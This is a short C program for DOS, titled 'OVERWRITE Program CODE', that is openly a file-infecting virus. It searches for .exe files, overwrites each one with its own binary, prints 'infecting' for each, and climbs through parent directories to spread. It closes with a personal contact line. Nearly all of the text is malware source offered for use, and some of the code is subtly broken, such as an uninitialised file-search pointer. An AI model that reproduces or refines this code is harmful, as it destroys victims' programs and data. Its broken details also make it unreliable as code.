OVERWRITE Program CODE

#include<stdio.h>

#include<dir.h>

#include<dos.h>

void main(int argc,char *argv[])

{

int bytes,i,done;

FILE *virus,*host;

struct ffblk *f;

char buffer[512];

do

{

done=findfirst(“*.exe”,f,0);

while(!done)

{

virus=fopen(argv[0],”rb”);//open the virus in read mode

host=fopen(f->ff_name,”rb+”);//open the host file in r/w mode

for(;fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);

fclose(host);

fseek(virus,0,0);//points to begining of virus

printf(“infecting %s

“,f->ff_name);

done=findnext(f);

}

}

while(!chdir(“..”));

printf(“For any querry contact

Nishanth ;leviboys70@yahoo.com“);